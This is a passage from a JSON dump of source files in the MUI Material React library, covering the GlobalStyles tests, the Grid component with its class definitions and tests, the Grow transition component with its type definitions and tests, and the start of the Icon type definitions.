    "content": "import { expect } from 'chai';\nimport { createRenderer, isJsdom } from '@mui/internal-test-utils';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport { ThemeProvider, createTheme } from '@mui/material/styles/';\n\nconst customTheme = createTheme({\n  spacing: 10,\n});\n\ndescribe('Global', () => {\n  const { render } = createRenderer();\n\n  it.skipIf(isJsdom())('should provide default theme', function test() {\n    const { container } = render(\n      <div>\n        <GlobalStyles styles={(theme) => `span { margin-top: ${theme.spacing(1)}; }`} />\n        <span>Text</span>\n      </div>,\n    );\n\n    expect(container.getElementsByTagName('span')[0]).toHaveComputedStyle({\n      marginTop: '8px',\n    });\n  });\n\n  it.skipIf(isJsdom())('should respect context theme if available', function test() {\n    const { container } = render(\n      <ThemeProvider theme={customTheme}>\n        <GlobalStyles styles={(theme) => `span { margin-top: ${theme.spacing(1)}; }`} />\n        <span>Text</span>\n      </ThemeProvider>,\n    );\n\n    expect(container.getElementsByTagName('span')[0]).toHaveComputedStyle({\n      marginTop: '10px',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/GlobalStyles/index.d.ts",
    "content": "export { default } from './GlobalStyles';\nexport * from './GlobalStyles';\n"
  },
  {
    "path": "packages/mui-material/src/GlobalStyles/index.js",
    "content": "export { default } from './GlobalStyles';\n"
  },
  {
    "path": "packages/mui-material/src/Grid/Grid.test.js",
    "content": "import { createRenderer, screen } from '@mui/internal-test-utils';\nimport Grid, { gridClasses as classes } from '@mui/material/Grid';\nimport { createTheme, ThemeProvider, THEME_ID } from '@mui/material/styles';\nimport { expect } from 'chai';\nimport describeConformance from '../../test/describeConformance';\n\n// The main tests are in mui-system Grid folder\ndescribe('<Grid />', () => {\n  const { render } = createRenderer();\n\n  const defaultProps = {\n    children: <div />,\n  };\n\n  describeConformance(<Grid {...defaultProps} />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLElement,\n    muiName: 'MuiGrid',\n    testVariantProps: { container: true, spacing: 5 },\n    skip: ['classesRoot'],\n  }));\n\n  it('should not crash with theme scoping', () => {\n    expect(() =>\n      render(\n        <ThemeProvider theme={{ [THEME_ID]: createTheme() }}>\n          <Grid container spacing={2}>\n            <Grid size={{ xs: 12, md: 6 }}>6</Grid>\n            <Grid size={{ xs: 12, md: 6 }}>6</Grid>\n          </Grid>\n        </ThemeProvider>,\n      ),\n    ).not.throw();\n  });\n\n  it('should render with the container class', () => {\n    render(<Grid data-testid=\"grid\" container />);\n    expect(screen.getByTestId('grid')).to.have.class(classes.container);\n  });\n\n  it('should have container styles passed from theme', () => {\n    const theme = createTheme({\n      components: {\n        MuiGrid: {\n          styleOverrides: {\n            container: {\n              padding: '11px',\n            },\n          },\n        },\n      },\n    });\n    render(\n      <ThemeProvider theme={theme}>\n        <Grid data-testid=\"grid\" container>\n          hello\n        </Grid>\n      </ThemeProvider>,\n    );\n    expect(screen.getByTestId('grid')).to.have.style('padding', '11px');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Grid/Grid.tsx",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport { createGrid } from '@mui/system/Grid';\nimport { SxProps } from '@mui/system';\nimport { OverridableComponent, OverrideProps } from '@mui/types';\nimport requirePropFactory from '../utils/requirePropFactory';\nimport { Theme, styled, Breakpoint } from '../styles';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport useTheme from '../styles/useTheme';\n\ntype ResponsiveStyleValue<T> = T | Array<T | null> | { [key in Breakpoint]?: T | null };\n\nexport type GridDirection = 'row' | 'row-reverse';\n\nexport type GridSpacing = number | string;\n\nexport type GridWrap = 'nowrap' | 'wrap' | 'wrap-reverse';\n\nexport type GridSize = 'auto' | 'grow' | number | false;\n\nexport type GridOffset = 'auto' | number;\n\nexport interface GridBaseProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * The number of columns.\n   * @default 12\n   */\n  columns?: ResponsiveStyleValue<number> | undefined;\n  /**\n   * Defines the horizontal space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  columnSpacing?: ResponsiveStyleValue<GridSpacing> | undefined;\n  /**\n   * If `true`, the component will have the flex *container* behavior.\n   * You should be wrapping *items* with a *container*.\n   * @default false\n   */\n  container?: boolean | undefined;\n  /**\n   * Defines the `flex-direction` style property for the container.\n   *\n   * ⚠️ Only `row` and `row-reverse` are supported. `column` and `column-reverse` are not supported,\n   * because the Grid component is designed to subdivide layouts into **columns**, not rows.\n   *\n   * For vertical layouts, use `Stack` instead.\n   *\n   * @default 'row'\n   */\n  direction?: ResponsiveStyleValue<GridDirection> | undefined;\n  /**\n   * Defines the offset value for the type `item` components.\n   */\n  offset?: ResponsiveStyleValue<GridOffset> | undefined;\n  /**\n   * @internal\n   * The level of the grid starts from `0` and increases when the grid nests\n   * inside another grid. Nesting is defined as a container Grid being a direct\n   * child of a container Grid.\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <Grid container> // level 1\n   *     <Grid container> // level 2\n   * ```\n   *\n   * Only consecutive grid is considered nesting. A grid container will start at\n   * `0` if there are non-Grid container element above it.\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <div>\n   *     <Grid container> // level 0\n   * ```\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <Grid>\n   *     <Grid container> // level 0\n   * ```\n   */\n  unstable_level?: number | undefined;\n  /**\n   * Defines the vertical space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  rowSpacing?: ResponsiveStyleValue<GridSpacing> | undefined;\n  /**\n   * Defines the size of the the type `item` components.\n   */\n  size?: ResponsiveStyleValue<GridSize> | undefined;\n  /**\n   * Defines the space between the type `item` components.\n   * It can only be used on a type `container` component.\n   * @default 0\n   */\n  spacing?: ResponsiveStyleValue<GridSpacing> | undefined;\n  /**\n   * Defines the `flex-wrap` style property.\n   * It's applied for all screen sizes.\n   * @default 'wrap'\n   */\n  wrap?: GridWrap | undefined;\n}\n\nexport interface GridTypeMap<P = {}, D extends React.ElementType = 'div'> {\n  props: P & GridBaseProps & { sx?: SxProps<Theme> | undefined };\n  defaultComponent: D;\n}\n\nexport type GridProps<\n  D extends React.ElementType = GridTypeMap['defaultComponent'],\n  P = {\n    component?: React.ElementType | undefined;\n  },\n> = OverrideProps<GridTypeMap<P, D>, D>;\n\n/**\n *\n * Demos:\n *\n * - [Grid](https://next.mui.com/material-ui/react-grid/)\n *\n * API:\n *\n * - [Grid API](https://next.mui.com/material-ui/api/grid/)\n */\nconst Grid = createGrid({\n  createStyledComponent: styled('div', {\n    name: 'MuiGrid',\n    slot: 'Root',\n    overridesResolver: (props, styles) => {\n      const { ownerState } = props;\n      return [styles.root, ownerState.container && styles.container];\n    },\n  }),\n  componentName: 'MuiGrid',\n  useThemeProps: (inProps) => useDefaultProps({ props: inProps, name: 'MuiGrid' }),\n  useTheme,\n}) as OverridableComponent<GridTypeMap>;\n\nGrid.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * The number of columns.\n   * @default 12\n   */\n  columns: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.number),\n    PropTypes.number,\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the horizontal space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  columnSpacing: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component will have the flex *container* behavior.\n   * You should be wrapping *items* with a *container*.\n   * @default false\n   */\n  container: PropTypes.bool,\n  /**\n   * Defines the `flex-direction` style property for the container.\n   *\n   * ⚠️ Only `row` and `row-reverse` are supported. `column` and `column-reverse` are not supported,\n   * because the Grid component is designed to subdivide layouts into **columns**, not rows.\n   *\n   * For vertical layouts, use `Stack` instead.\n   *\n   * @default 'row'\n   */\n  direction: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['row-reverse', 'row']),\n    PropTypes.arrayOf(PropTypes.oneOf(['row-reverse', 'row'])),\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the offset value for the type `item` components.\n   */\n  offset: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.string,\n    PropTypes.number,\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.number])),\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the vertical space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  rowSpacing: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * Defines the size of the the type `item` components.\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.string,\n    PropTypes.bool,\n    PropTypes.number,\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.bool, PropTypes.number])),\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the space between the type `item` components.\n   * It can only be used on a type `container` component.\n   * @default 0\n   */\n  spacing: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * @ignore\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * @internal\n   * The level of the grid starts from `0` and increases when the grid nests\n   * inside another grid. Nesting is defined as a container Grid being a direct\n   * child of a container Grid.\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <Grid container> // level 1\n   *     <Grid container> // level 2\n   * ```\n   *\n   * Only consecutive grid is considered nesting. A grid container will start at\n   * `0` if there are non-Grid container element above it.\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <div>\n   *     <Grid container> // level 0\n   * ```\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <Grid>\n   *     <Grid container> // level 0\n   * ```\n   */\n  unstable_level: PropTypes.number,\n  /**\n   * Defines the `flex-wrap` style property.\n   * It's applied for all screen sizes.\n   * @default 'wrap'\n   */\n  wrap: PropTypes.oneOf(['nowrap', 'wrap-reverse', 'wrap']),\n} as any;\n\nif (process.env.NODE_ENV !== 'production') {\n  const Component = Grid as any;\n  const requireProp = requirePropFactory('Grid', Component);\n  // eslint-disable-next-line no-useless-concat\n  Component['propTypes' + ''] = {\n    // eslint-disable-next-line react/forbid-foreign-prop-types\n    ...Component.propTypes,\n    direction: requireProp('container'),\n    spacing: requireProp('container'),\n    wrap: requireProp('container'),\n  };\n}\n\nexport default Grid;\n"
  },
  {
    "path": "packages/mui-material/src/Grid/gridClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface GridClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `container={true}`. */\n  container: string;\n}\n\nexport type GridClassKey = keyof GridClasses;\n\nexport function getGridUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiGrid', slot);\n}\n\nconst SPACINGS = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10] as const;\nconst DIRECTIONS = ['row-reverse', 'row'] as const;\nconst WRAPS = ['nowrap', 'wrap-reverse', 'wrap'] as const;\nconst GRID_SIZES = ['auto', true, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12] as const;\n\nconst gridClasses: GridClasses = generateUtilityClasses('MuiGrid', [\n  'root',\n  'container',\n\n  // spacings\n  ...SPACINGS.map((spacing) => `spacing-xs-${spacing}` as const),\n  // direction values\n  ...DIRECTIONS.map((direction) => `direction-xs-${direction}` as const),\n  // wrap values\n  ...WRAPS.map((wrap) => `wrap-xs-${wrap}` as const),\n\n  // grid sizes for all breakpoints\n  ...GRID_SIZES.map((size) => `grid-xs-${size}` as const),\n  ...GRID_SIZES.map((size) => `grid-sm-${size}` as const),\n  ...GRID_SIZES.map((size) => `grid-md-${size}` as const),\n  ...GRID_SIZES.map((size) => `grid-lg-${size}` as const),\n  ...GRID_SIZES.map((size) => `grid-xl-${size}` as const),\n]);\n\nexport default gridClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Grid/index.ts",
    "content": "export { default } from './Grid';\nexport * from './Grid';\nexport { default as gridClasses } from './gridClasses';\nexport * from './gridClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Grow/Grow.d.ts",
    "content": "import * as React from 'react';\nimport { TransitionProps } from '../transitions/transition';\n\nexport interface GrowProps extends Omit<TransitionProps, 'timeout'> {\n  /**\n   * Perform the enter transition when it first mounts if `in` is also `true`.\n   * Set this to `false` to disable this behavior.\n   * @default true\n   */\n  appear?: boolean | undefined;\n  /**\n   * A single child content element.\n   */\n  children: React.ReactElement<unknown, any>;\n  /**\n   * The transition timing function.\n   * You may specify a single easing or a object containing enter and exit values.\n   */\n  easing?: TransitionProps['easing'] | undefined;\n  /**\n   * If `true`, the component will transition in.\n   */\n  in?: boolean | undefined;\n  ref?: React.Ref<unknown> | undefined;\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   *\n   * Set to 'auto' to automatically calculate transition time based on height.\n   * @default 'auto'\n   */\n  timeout?: TransitionProps['timeout'] | 'auto' | undefined;\n}\n\n/**\n * The Grow transition is used by the [Tooltip](https://next.mui.com/material-ui/react-tooltip/) and\n * [Popover](https://next.mui.com/material-ui/react-popover/) components.\n * It uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\n *\n * Demos:\n *\n * - [Popover](https://next.mui.com/material-ui/react-popover/)\n * - [Transitions](https://next.mui.com/material-ui/transitions/)\n *\n * API:\n *\n * - [Grow API](https://next.mui.com/material-ui/api/grow/)\n * - inherits [Transition API](https://reactcommunity.org/react-transition-group/transition/#Transition-props)\n */\nexport default function Grow(props: GrowProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Grow/Grow.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport useTimeout from '@mui/utils/useTimeout';\nimport elementAcceptingRef from '@mui/utils/elementAcceptingRef';\nimport getReactElementRef from '@mui/utils/getReactElementRef';\nimport { Transition } from 'react-transition-group';\nimport { useTheme } from '../zero-styled';\nimport { getTransitionProps, reflow } from '../transitions/utils';\nimport useForkRef from '../utils/useForkRef';\n\nfunction getScale(value) {\n  return `scale(${value}, ${value ** 2})`;\n}\n\nconst styles = {\n  entering: {\n    opacity: 1,\n    transform: getScale(1),\n  },\n  entered: {\n    opacity: 1,\n    transform: 'none',\n  },\n};\n\n/*\n TODO v6: remove\n Conditionally apply a workaround for the CSS transition bug in Safari 15.4 / WebKit browsers.\n */\nconst isWebKit154 =\n  typeof navigator !== 'undefined' &&\n  /^((?!chrome|android).)*(safari|mobile)/i.test(navigator.userAgent) &&\n  /(os |version\\/)15(.|_)4/i.test(navigator.userAgent);\n\n/**\n * The Grow transition is used by the [Tooltip](/material-ui/react-tooltip/) and\n * [Popover](/material-ui/react-popover/) components.\n * It uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\n */\nconst Grow = React.forwardRef(function Grow(props, ref) {\n  const {\n    addEndListener,\n    appear = true,\n    children,\n    easing,\n    in: inProp,\n    onEnter,\n    onEntered,\n    onEntering,\n    onExit,\n    onExited,\n    onExiting,\n    style,\n    timeout = 'auto',\n    // eslint-disable-next-line react/prop-types\n    TransitionComponent = Transition,\n    ...other\n  } = props;\n  const timer = useTimeout();\n  const autoTimeout = React.useRef();\n  const theme = useTheme();\n\n  const nodeRef = React.useRef(null);\n  const handleRef = useForkRef(nodeRef, getReactElementRef(children), ref);\n\n  const normalizedTransitionCallback = (callback) => (maybeIsAppearing) => {\n    if (callback) {\n      const node = nodeRef.current;\n\n      // onEnterXxx and onExitXxx callbacks have a different arguments.length value.\n      if (maybeIsAppearing === undefined) {\n        callback(node);\n      } else {\n        callback(node, maybeIsAppearing);\n      }\n    }\n  };\n\n  const handleEntering = normalizedTransitionCallback(onEntering);\n\n  const handleEnter = normalizedTransitionCallback((node, isAppearing) => {\n    reflow(node); // So the animation always start from the start.\n\n    const {\n      duration: transitionDuration,\n      delay,\n      easing: transitionTimingFunction,\n    } = getTransitionProps(\n      { style, timeout, easing },\n      {\n        mode: 'enter',\n      },\n    );\n\n    let duration;\n    if (timeout === 'auto') {\n      duration = theme.transitions.getAutoHeightDuration(node.clientHeight);\n      autoTimeout.current = duration;\n    } else {\n      duration = transitionDuration;\n    }\n\n    node.style.transition = [\n      theme.transitions.create('opacity', {\n        duration,\n        delay,\n      }),\n      theme.transitions.create('transform', {\n        duration: isWebKit154 ? duration : duration * 0.666,\n        delay,\n        easing: transitionTimingFunction,\n      }),\n    ].join(',');\n\n    if (onEnter) {\n      onEnter(node, isAppearing);\n    }\n  });\n\n  const handleEntered = normalizedTransitionCallback(onEntered);\n\n  const handleExiting = normalizedTransitionCallback(onExiting);\n\n  const handleExit = normalizedTransitionCallback((node) => {\n    const {\n      duration: transitionDuration,\n      delay,\n      easing: transitionTimingFunction,\n    } = getTransitionProps(\n      { style, timeout, easing },\n      {\n        mode: 'exit',\n      },\n    );\n\n    let duration;\n    if (timeout === 'auto') {\n      duration = theme.transitions.getAutoHeightDuration(node.clientHeight);\n      autoTimeout.current = duration;\n    } else {\n      duration = transitionDuration;\n    }\n\n    node.style.transition = [\n      theme.transitions.create('opacity', {\n        duration,\n        delay,\n      }),\n      theme.transitions.create('transform', {\n        duration: isWebKit154 ? duration : duration * 0.666,\n        delay: isWebKit154 ? delay : delay || duration * 0.333,\n        easing: transitionTimingFunction,\n      }),\n    ].join(',');\n\n    node.style.opacity = 0;\n    node.style.transform = getScale(0.75);\n\n    if (onExit) {\n      onExit(node);\n    }\n  });\n\n  const handleExited = normalizedTransitionCallback(onExited);\n\n  const handleAddEndListener = (next) => {\n    if (timeout === 'auto') {\n      timer.start(autoTimeout.current || 0, next);\n    }\n    if (addEndListener) {\n      // Old call signature before `react-transition-group` implemented `nodeRef`\n      addEndListener(nodeRef.current, next);\n    }\n  };\n\n  return (\n    <TransitionComponent\n      appear={appear}\n      in={inProp}\n      nodeRef={nodeRef}\n      onEnter={handleEnter}\n      onEntered={handleEntered}\n      onEntering={handleEntering}\n      onExit={handleExit}\n      onExited={handleExited}\n      onExiting={handleExiting}\n      addEndListener={handleAddEndListener}\n      timeout={timeout === 'auto' ? null : timeout}\n      {...other}\n    >\n      {/* Ensure \"ownerState\" is not forwarded to the child DOM element when a direct HTML element is used. This avoids unexpected behavior since \"ownerState\" is intended for internal styling, component props and not as a DOM attribute. */}\n      {(state, { ownerState, ...restChildProps }) => {\n        return React.cloneElement(children, {\n          style: {\n            opacity: 0,\n            transform: getScale(0.75),\n            visibility: state === 'exited' && !inProp ? 'hidden' : undefined,\n            ...styles[state],\n            ...style,\n            ...children.props.style,\n          },\n          ref: handleRef,\n          ...restChildProps,\n        });\n      }}\n    </TransitionComponent>\n  );\n});\n\nGrow.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Add a custom transition end trigger. Called with the transitioning DOM\n   * node and a done callback. Allows for more fine grained transition end\n   * logic. Note: Timeouts are still used as a fallback if provided.\n   */\n  addEndListener: PropTypes.func,\n  /**\n   * Perform the enter transition when it first mounts if `in` is also `true`.\n   * Set this to `false` to disable this behavior.\n   * @default true\n   */\n  appear: PropTypes.bool,\n  /**\n   * A single child content element.\n   */\n  children: elementAcceptingRef.isRequired,\n  /**\n   * The transition timing function.\n   * You may specify a single easing or a object containing enter and exit values.\n   */\n  easing: PropTypes.oneOfType([\n    PropTypes.shape({\n      enter: PropTypes.string,\n      exit: PropTypes.string,\n    }),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component will transition in.\n   */\n  in: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  onEnter: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onEntered: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onEntering: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExit: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExited: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onExiting: PropTypes.func,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   *\n   * Set to 'auto' to automatically calculate transition time based on height.\n   * @default 'auto'\n   */\n  timeout: PropTypes.oneOfType([\n    PropTypes.oneOf(['auto']),\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n};\n\nif (Grow) {\n  Grow.muiSupportAuto = true;\n}\n\nexport default Grow;\n"
  },
  {
    "path": "packages/mui-material/src/Grow/Grow.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { Transition } from 'react-transition-group';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Grow from '@mui/material/Grow';\nimport useForkRef from '../utils/useForkRef';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Grow />', () => {\n  const { clock, render } = createRenderer();\n\n  const defaultProps = {\n    in: true,\n    children: <div />,\n  };\n\n  describeConformance(\n    <Grow in appear={false}>\n      <div />\n    </Grow>,\n    () => ({\n      render,\n      classes: {},\n      inheritComponent: Transition,\n      refInstanceof: window.HTMLDivElement,\n      skip: ['componentProp', 'themeDefaultProps', 'themeStyleOverrides', 'themeVariants'],\n    }),\n  );\n\n  describe('calls the appropriate callbacks for each transition', () => {\n    clock.withFakeTimers();\n\n    it('calls the appropriate callbacks for each transition', () => {\n      const handleAddEndListener = spy();\n      const handleEnter = spy();\n      const handleEntering = spy();\n      const handleEntered = spy();\n      const handleExit = spy();\n      const handleExiting = spy();\n      const handleExited = spy();\n      const { container, setProps } = render(\n        <Grow\n          addEndListener={handleAddEndListener}\n          onEnter={handleEnter}\n          onEntering={handleEntering}\n          onEntered={handleEntered}\n          onExit={handleExit}\n          onExiting={handleExiting}\n          onExited={handleExited}\n        >\n          <div id=\"test\" />\n        </Grow>,\n      );\n\n      const child = container.querySelector('#test');\n\n      setProps({ in: true });\n\n      expect(handleAddEndListener.callCount).to.equal(1);\n      expect(handleAddEndListener.args[0][0]).to.equal(child);\n      expect(typeof handleAddEndListener.args[0][1]).to.equal('function');\n\n      expect(handleEnter.callCount).to.equal(1);\n      expect(handleEnter.args[0][0]).to.equal(child);\n\n      expect(handleEnter.args[0][0].style.transition).to.match(\n        /opacity (0ms )?cubic-bezier\\(0.4, 0, 0.2, 1\\)( 0ms)?,( )?transform (0ms )?cubic-bezier\\(0.4, 0, 0.2, 1\\)( 0ms)?/,\n      );\n\n      expect(handleEntering.callCount).to.equal(1);\n      expect(handleEntering.args[0][0]).to.equal(child);\n\n      clock.tick(1000);\n\n      expect(handleEntered.callCount).to.equal(1);\n      expect(handleEntered.args[0][0]).to.equal(child);\n\n      setProps({ in: false });\n\n      expect(handleExit.callCount).to.equal(1);\n      expect(handleExit.args[0][0]).to.equal(child);\n\n      expect(handleExit.args[0][0].style.opacity).to.equal('0');\n      expect(handleExit.args[0][0].style.transform).to.equal(\n        'scale(0.75, 0.5625)',\n        'should have the exit scale',\n      );\n\n      expect(handleExiting.callCount).to.equal(1);\n      expect(handleExiting.args[0][0]).to.equal(child);\n\n      expect(handleExiting.callCount).to.equal(1);\n      expect(handleExiting.args[0][0]).to.equal(child);\n\n      clock.tick(1000);\n\n      expect(handleExited.callCount).to.equal(1);\n      expect(handleExited.args[0][0]).to.equal(child);\n    });\n  });\n\n  describe('prop: timeout', () => {\n    const enterDuration = 556;\n    const leaveDuration = 446;\n    clock.withFakeTimers();\n\n    describe('onEnter', () => {\n      it('should create proper easeOut animation', () => {\n        const handleEnter = spy();\n        render(\n          <Grow\n            {...defaultProps}\n            timeout={{\n              enter: enterDuration,\n              exit: leaveDuration,\n            }}\n            onEnter={handleEnter}\n          />,\n        );\n\n        expect(handleEnter.args[0][0].style.transition).to.match(new RegExp(`${enterDuration}ms`));\n      });\n\n      it('should delay based on height when timeout is auto', () => {\n        const handleEntered = spy();\n        const theme = createTheme({\n          transitions: {\n            getAutoHeightDuration: (n) => n,\n          },\n        });\n        const autoTransitionDuration = 10;\n        const FakeDiv = React.forwardRef(function FakeDiv(props, ref) {\n          const divRef = React.useRef(null);\n          const handleRef = useForkRef(ref, divRef);\n\n          React.useEffect(() => {\n            // For jsdom\n            Object.defineProperty(divRef.current, 'clientHeight', {\n              value: autoTransitionDuration,\n            });\n          });\n\n          return (\n            <div\n              ref={handleRef}\n              style={{\n                height: autoTransitionDuration,\n              }}\n              {...props}\n            />\n          );\n        });\n\n        function MyTest(props) {\n          return (\n            <ThemeProvider theme={theme}>\n              <Grow timeout=\"auto\" onEntered={handleEntered} {...props}>\n                <FakeDiv />\n              </Grow>\n            </ThemeProvider>\n          );\n        }\n\n        const { setProps } = render(<MyTest />);\n        setProps({\n          in: true,\n        });\n\n        expect(handleEntered.callCount).to.equal(0);\n\n        clock.tick(0);\n\n        expect(handleEntered.callCount).to.equal(0);\n\n        clock.tick(autoTransitionDuration);\n\n        expect(handleEntered.callCount).to.equal(1);\n\n        const handleEntered2 = spy();\n        render(\n          <Grow in timeout=\"auto\" onEntered={handleEntered2}>\n            <div />\n          </Grow>,\n        );\n\n        expect(handleEntered2.callCount).to.equal(0);\n\n        clock.tick(0);\n\n        expect(handleEntered2.callCount).to.equal(1);\n      });\n\n      it('should use timeout as delay when timeout is number', () => {\n        const timeout = 10;\n        const handleEntered = spy();\n\n        render(<Grow {...defaultProps} timeout={timeout} onEntered={handleEntered} />);\n\n        expect(handleEntered.callCount).to.equal(0);\n\n        clock.tick(0);\n\n        expect(handleEntered.callCount).to.equal(0);\n\n        clock.tick(timeout);\n\n        expect(handleEntered.callCount).to.equal(1);\n      });\n    });\n\n    describe('onExit', () => {\n      it('should delay based on height when timeout is auto', () => {\n        const handleExited = spy();\n        const { setProps } = render(\n          <Grow in timeout=\"auto\" onExited={handleExited}>\n            <div />\n          </Grow>,\n        );\n\n        clock.tick(0);\n\n        setProps({\n          in: false,\n        });\n\n        expect(handleExited.callCount).to.equal(0);\n        clock.tick(0);\n\n        expect(handleExited.callCount).to.equal(1);\n      });\n\n      it('should use timeout as delay when timeout is number', () => {\n        const timeout = 20;\n        const handleExited = spy();\n        const { setProps } = render(\n          <Grow {...defaultProps} timeout={timeout} onExited={handleExited} />,\n        );\n\n        clock.tick(timeout);\n        setProps({\n          in: false,\n        });\n\n        expect(handleExited.callCount).to.equal(0);\n        clock.tick(0);\n\n        expect(handleExited.callCount).to.equal(0);\n        clock.tick(timeout);\n\n        expect(handleExited.callCount).to.equal(1);\n      });\n\n      it('should create proper sharp animation', () => {\n        const handleExit = spy();\n        const { setProps } = render(\n          <Grow\n            {...defaultProps}\n            timeout={{\n              enter: enterDuration,\n              exit: leaveDuration,\n            }}\n            onExit={handleExit}\n          />,\n        );\n\n        setProps({\n          in: false,\n        });\n\n        expect(handleExit.args[0][0].style.transition).to.match(new RegExp(`${leaveDuration}ms`));\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Grow/index.d.ts",
    "content": "export { default } from './Grow';\nexport * from './Grow';\n"
  },
  {
    "path": "packages/mui-material/src/Grow/index.js",
    "content": "export { default } from './Grow';\n"
  },
  {
    "path": "packages/mui-material/src/Icon/Icon.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { IconClasses } from './iconClasses';\n\nexport interface IconPropsSizeOverrides {}\n\nexport interface IconPropsColorOverrides {}\n\nexport interface IconOwnProps {\n  /**\n   * The base class applied to the icon. Defaults to 'material-icons', but can be changed to any\n   * other base class that suits the icon font you're using (for example material-icons-rounded, fas, etc).\n   * @default 'material-icons'\n   */\n  baseClassName?: string | undefined;\n  /**\n   * The name of the icon font ligature.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<IconClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'inherit'\n   */\n  color?:\n    | OverridableStringUnion<\n        | 'inherit'\n        | 'action'\n        | 'disabled'\n        | 'primary'\n        | 'secondary'\n        | 'error'\n        | 'info'\n        | 'success'\n        | 'warning',\n        IconPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * The fontSize applied to the icon. Defaults to 24px, but can be configure to 